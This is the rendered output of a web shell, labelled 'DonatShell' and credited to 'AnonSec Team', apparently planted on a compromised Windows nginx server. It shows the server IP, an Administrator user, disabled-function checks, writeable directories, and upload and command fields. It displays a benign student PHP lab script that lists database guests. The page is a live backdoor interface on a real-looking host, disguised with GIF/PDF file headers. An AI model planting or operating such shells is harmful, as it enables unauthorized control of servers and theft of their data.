GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1146/Resources/Examples/Week/13/lab/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1146/Resources/Examples/Week/13/lab/Get_all.php
<?php
$servername = "localhost";
$username = "root";
$password = "bogus";
$dbname = "myDB";

// Create connection
$conn = mysqli_connect($servername, $username, $password, $dbname);
// Check connection
if (!$conn) {
  die("Connection failed: " . mysqli_connect_error());
}
$id = 4;
$sql = "
SELECT *
FROM myguests
";
?>
<h2>One guest</h2>
$sql = <pre><?=$sql?></pre>
<?php
$result = $conn->query($sql);

if ($result->num_rows > 0) {
?>
$result = <pre><?=var_dump($result)?></pre>
<h2>This is my h2</h2>
<style>
table, td, th { border: 1px solid black; border-collapse: collapse; }
</style>
<table>
	<tr><th>id</th><th>Name</th><th>eMail</th></tr>
<?php
  // output data of each row
  while($row = $result->fetch_assoc()) {
?>
	<tr><td><?=$row['id']?></td><td><?=$row['firstname']?> <?=$row['lastname']?></td><td><?=$row['email']?></td></tr>
<?php
  }
 ?>
</table>
<?php
} else {
  echo "0 results";
}

mysqli_close($conn);
?>




Anon7 - 2022
AnonSec Team